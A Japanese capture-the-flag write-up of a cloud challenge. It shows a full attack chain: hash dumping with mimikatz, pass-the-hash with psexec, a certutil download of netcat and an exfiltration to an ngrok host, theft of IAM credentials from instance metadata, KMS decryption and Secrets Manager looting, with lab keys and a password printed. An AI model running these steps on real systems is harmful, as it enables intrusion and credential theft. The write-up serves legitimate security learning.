-rwxrwxrwx 1 0 0 2128 May 7 15:10 cbf50813-4594-4ba6-8266-c076ed7c396e_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml -rwxrwxrwx 1 0 0 1488 May 7 15:10 cbf50813-4594-4ba6-8266-c076ed7c396e_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml -rwxrwxrwx 1 0 0 1628 May 7 15:10 cbf50813-4594-4ba6-8266-c076ed7c396e_Writer75dfb225-e2e4-4d39-9ac9-ffaff65ddf06.xml -rwxrwxrwx 1 0 0 1484 May 7 15:10 cbf50813-4594-4ba6-8266-c076ed7c396e_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml -rwxrwxrwx 1 0 0 2940 May 7 15:10 cbf50813-4594-4ba6-8266-c076ed7c396e_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml -rwxrwxrwx 1 0 0 4400 May 7 15:10 cbf50813-4594-4ba6-8266-c076ed7c396e_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml -rwxrwxrwx 1 0 0 1746 May 7 15:10 cbf50813-4594-4ba6-8266-c076ed7c396e_Writerd61d61c8-d73a-4eee-8cdd-f6f9786b7124.xml -rwxrwxrwx 1 0 0 5294762 May 7 15:10 cbf50813-4594-4ba6-8266-c076ed7c396e_Writere8132975-6f93-4464-a53e-1050253ae220.xml ><fs> copy-out '/WindowsImageBackup/EC2AMAZ-QLP7LVM/Backup 2024-05-07 151007/9546e6c7-0000-0000-0000-100000000000.vhdx' ~/ 100% ⟦▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒⟧ 00:00 ><fs>
.vhdx
ファイルが見つかったので手元にコピーし、Windows端末にマウントします。検証用のWindows VMは以下のURLからダウンロードできます。
マウントできたらmimikatz
を用いてNTLMハッシュを取得します。
C:\Users\User\Downloads\mimikatz_trunk\x64>mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # lsadump::sam /system:"D:\Windows\System32\config\SYSTEM" /sam:"D:\Windows\System32\config\SAM" ERROR kuhl_m_lsadump_sam ; CreateFile (SYSTEM hive) (0x00000015) mimikatz # lsadump::sam /system:"F:\Windows\System32\config\SYSTEM" /sam:"F:\Windows\System32\config\SAM" Domain : EC2AMAZ-QLP7LVM SysKey : 1bb6cbe6d4904d937f3a7538946c1634 Local SID : S-1-5-21-3012807344-3638366688-4187716664 SAMKey : af41c71aca9d08475de1b55d1530a35b RID : 000001f4 (500) User : Administrator Hash NTLM: 0b4781dad49c808c37bf3491dec3df91 ... (以下略)
AdministratorのNTLMハッシュが取得できました。
0b4781dad49c808c37bf3491dec3df91
インスタンスの調査
NTLMハッシュを取得できたので、psexecでインスタンスへアクセスを試みます。
$ python3 psexec.py -hashes :0b4781dad49c808c37bf3491dec3df91 Administrator@54.208.244.117 Impacket v0.11.0 - Copyright 2023 Fortra [*] Requesting shares on 54.208.244.117..... [*] Found writable share ADMIN$ [*] Uploading file phToKtPR.exe [*] Opening SVCManager on 54.208.244.117..... [*] Creating service yOrU on 54.208.244.117..... [*] Starting service yOrU..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.17763.5696] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>
無事インスタンスにアクセスできました。
インスタンス内のファイルを漁っていると、Administrator
のデスクトップに怪しげなファイルが見つかります。netcat
でファイルをダウンロードしましょう。ローカルのPCに直接アクセスさせるためngrok
を用いています。
C:\Windows\System32\tmp> certutil.exe -urlcache -split -f https://github.com/int0x33/nc.exe/raw/master/nc64.exe nc.exe **** Online **** 0000 ... b0d8 CertUtil: -URLCache command completed successfully.
C:\Windows\System32\tmp> nc.exe -w 3 0.tcp.jp.ngrok.io 17504 < c:\users\Administrator\Desktop\backup.ps1.enc
C:\Windows\System32>curl http://169.254.169.254/latest/meta-data/ curl http://169.254.169.254/latest/meta-data/ % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 338 100 338 0 0 55683 0 --:--:-- --:--:-- --:--:-- 84500 ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hibernation/ hostname iam/ ... (以下略)
C:\Windows\System32>curl http://169.254.169.254/latest/meta-data/iam/security-credentials/KMSRoleWin curl http://169.254.169.254/latest/meta-data/iam/security-credentials/KMSRoleWin % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1586 100 1586 0 0 458k 0 --:--:-- --:--:-- --:--:-- 516k { "Code" : "Success", "LastUpdated" : "2024-05-26T00:06:14Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIAXYAFLIG2CPIQQVLC", "SecretAccessKey" : "tuXwRvaYAgz/AtU9ut9pnsi414Ob8pLZev6zoqjb", "Token" : "IQoJb ...(中略)... qxw==", "Expiration" : "2024-05-26T06:10:00Z" }
C:\Windows\System32>curl http://169.254.169.254/latest/meta-data/iam/info curl http://169.254.169.254/latest/meta-data/iam/info % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 200 100 200 0 0 65316 0 --:--:-- --:--:-- --:--:-- 66666 { "Code" : "Success", "LastUpdated" : "2024-05-26T00:05:41Z", "InstanceProfileArn" : "arn:aws:iam::532587168180:instance-profile/WindowsVM-KMS", "InstanceProfileId" : "AIPAXYAFLIG2AFHEWFQRZ" }
WindowsVM-KMS
というプロファイルの認証情報を取得できました。
プロファイル名からKMSの権限があると推測できます。enumerate-iam
を実行しましょう。
$ python3 enumerate-iam.py --access-key ASIAXYAFLIG2CPIQQVLC --secret-key tuXwRvaYAgz/AtU9ut9pnsi414Ob8pLZev6zoqjb --session-token IQoJb ...(中略)... qxw== 2024-05-26 09:09:53,401 - 100491 - [INFO] Starting permission enumeration for access-key-id "ASIAXYAFLIG2CPIQQVLC" 2024-05-26 09:09:55,594 - 100491 - [INFO] -- Account ARN : arn:aws:sts::532587168180:assumed-role/KMSRoleWin/i-0e5dabca0fa9f222f 2024-05-26 09:09:55,594 - 100491 - [INFO] -- Account Id : 532587168180 2024-05-26 09:09:55,594 - 100491 - [INFO] -- Account Path: assumed-role/KMSRoleWin/i-0e5dabca0fa9f222f 2024-05-26 09:10:00,852 - 100491 - [INFO] Attempting common-service describe / list brute force. 2024-05-26 09:10:16,864 - 100491 - [INFO] -- sts.get_caller_identity() worked! 2024-05-26 09:11:04,596 - 100491 - [INFO] -- kms.list_aliases() worked! 2024-05-26 09:11:22,166 - 100491 - [INFO] -- kms.list_keys() worked!
データの復号
KMSの権限があることがわかったので、さきほど見つけたbackup.ps1.enc
を復号します。毎回セッショントークンを指定するのは手間なので~/.aws/credentials
に以下を追記しておきます。
[KMSRoleWin] aws_access_key_id = ASIAXYAFLIG2CPIQQVLC aws_secret_access_key = tuXwRvaYAgz/AtU9ut9pnsi414Ob8pLZev6zoqjb aws_session_token = IQoJb ...(中略)... qxw==
$aws kms decrypt --ciphertext-blob fileb://./backup.ps1.enc --key-id 038c41d9-b337-43fe-a0a3-6d622bb7131d --region us-east-1 --profile KMSRoleWin { "KeyId": "arn:aws:kms:us-east-1:532587168180:key/038c41d9-b337-43fe-a0a3-6d622bb7131d", "Plaintext": "SW1wb3J0LU1vZHVsZSBBV1N...(中略)...dGlhbHMK", "EncryptionAlgorithm": "SYMMETRIC_DEFAULT" }
復号に成功しました!Plaintext
の内容をBase64デコードすると、Powershellスクリプトが得られます。
Import-Module AWSPowerShell $accessKey = "AKIAXYAFLIG2NPAE4BAQ" $secretKey = "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" $secretName = "" $secret = Get-AWSSecretValue -SecretId $secretName $secretJson = ConvertFrom-Json $secret.SecretString $accessKey = $secretJson.accessKey $secretKey = $secretJson.secretKey Set-AWSCredentials -AccessKey $accessKey -SecretKey $secretKey Set-DefaultAWSRegion -Region YOUR_AWS_REGION $instanceId = "vault11-ws" $volumeId = (Get-EC2Instance -InstanceId $instanceId).Instances.BlockDeviceMappings | Where-Object { $_.DeviceName -eq "/dev/sda1" } | Select-Object -ExpandProperty Ebs | Select-Object -ExpandProperty VolumeId Write-Host "Creating snapshot of root volume for EC2 instance $instanceId..." $snapshot = New-EC2Snapshot -VolumeId $volumeId -Description "Backup snapshot for EC2 instance $instanceId" Write-Host "Snapshot created successfully." Write-Host "Snapshot ID: $($snapshot.SnapshotId)" Clear-AWSCredentials
vaultmanager
アカウントの調査
スクリプトに記載された認証情報で何かできないか調べてみましょう。
$ python3 enumerate-iam.py --access-key AKIAXYAFLIG2NPAE4BAQ --secret-key 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 2024-05-25 19:27:38,521 - 4171 - [INFO] Starting permission enumeration for access-key-id "AKIAXYAFLIG2NPAE4BAQ" 2024-05-25 19:27:40,197 - 4171 - [INFO] -- Account ARN : arn:aws:iam::532587168180:user/vaultmanager 2024-05-25 19:27:40,197 - 4171 - [INFO] -- Account Id : 532587168180 2024-05-25 19:27:40,197 - 4171 - [INFO] -- Account Path: user/vaultmanager 2024-05-25 19:27:40,607 - 4171 - [INFO] Attempting common-service describe / list brute force. 2024-05-25 19:27:44,068 - 4171 - [ERROR] Remove codedeploy.batch_get_deployment_targets action 2024-05-25 19:27:44,072 - 4171 - [ERROR] Remove codedeploy.get_deployment_target action 2024-05-25 19:27:44,072 - 4171 - [ERROR] Remove codedeploy.list_deployment_targets action 2024-05-25 19:27:52,251 - 4171 - [INFO] -- dynamodb.describe_endpoints() worked! 2024-05-25 19:27:53,192 - 4171 - [INFO] -- sts.get_caller_identity() worked! 2024-05-25 19:27:53,609 - 4171 - [INFO] -- sts.get_session_token() worked! 2024-05-25 19:27:55,820 - 4171 - [INFO] -- secretsmanager.list_secrets() worked!
Secrets Managerの権限があることがわかりました。プロファイルを作成してから、secretを列挙します。
$aws secretsmanager list-secrets --region us-east-1 --profile vaultmanager { "SecretList": [ { "ARN": "arn:aws:secretsmanager:us-east-1:532587168180:secret:AWSVault11-gd6Hq8", "Name": "AWSVault11", "LastChangedDate": "2024-05-07T22:11:13.505000+09:00", "LastAccessedDate": "2024-05-07T09:00:00+09:00", "SecretVersionsToStages": { "terraform-20240507123751892900000003": [ "AWSCURRENT" ] }, "CreatedDate": "2024-05-07T21:37:51.318000+09:00" }, { "ARN": "arn:aws:secretsmanager:us-east-1:532587168180:secret:AWSVault11-dev-lYByRs", "Name": "AWSVault11-dev", "LastChangedDate": "2024-05-07T23:07:20.991000+09:00", "LastAccessedDate": "2024-05-24T09:00:00+09:00", "SecretVersionsToStages": { "terraform-20240507140720756700000004": [ "AWSCURRENT" ] }, "CreatedDate": "2024-05-07T23:07:20.232000+09:00" } ] }
AWSVault11
, AWSVault11-dev
という2つのsecretが見つかりました。それぞれ内容を確認します。
$ aws secretsmanager get-secret-value --secret-id AWSVault11 --region us-east-1 --profile vaultmanager An error occurred (AccessDeniedException) when calling the GetSecretValue operation: User: arn:aws:iam::532587168180:user/vaultmanager is not authorized to perform: secretsmanager:GetSecretValue on resource: AWSVault11 because no identity-based policy allows the secretsmanager:GetSecretValue action
$ aws secretsmanager get-secret-value --secret-id AWSVault11-dev --region us-east-1 --profile vaultmanager { "ARN": "arn:aws:secretsmanager:us-east-1:532587168180:secret:AWSVault11-dev-lYByRs", "Name": "AWSVault11-dev", "VersionId": "terraform-20240507140720756700000004", "SecretString": "{\"password\":\"DoYouFeelitNow1!?\",\"username\":\"kstone\"}", "VersionStages": [ "AWSCURRENT" ], "CreatedDate": "2024-05-07T23:07:20.985000+09:00" }
AWSVault11
はハズレでしたが、AWSVault11-dev
にて認証情報が見つかりました。
ユーザ名とパスワードがわかったので、AWSマネジメントコンソールにログインします。
S3バケット内にflag.txt
があったことを思い出してS3の画面を確認すると、バケットが見つかります。
バケット内にflag.txt
がありました。今度こそダウンロードできるはずです。
ダウンロードしてテキストファイルを開くと、フラグが得られました!!
flag:HTB{W15D0M_15_5uFF3R1Ng_kA1_d3n_aGaP1_aF70}
感想
今回のCTFを通して、社内には多くのつよつよCTFプレイヤーがいることを改めて実感しました。世界8位の会社に所属していることを誇りに思います。とはいえ私個人の成績をふりかえると、フラグを通せたのはたったの3問でした。精進が必要ですね...
Cloudはアセットが膨大な分、情報収集が非常に重要であると、Cloudカテゴリのwriteupを書いていて感じました。ボス問のAsceticism
についても、手順は長いですが情報収集を徹底していれば解けたかなと思います。
次はCloudカテゴリ全完を目指します。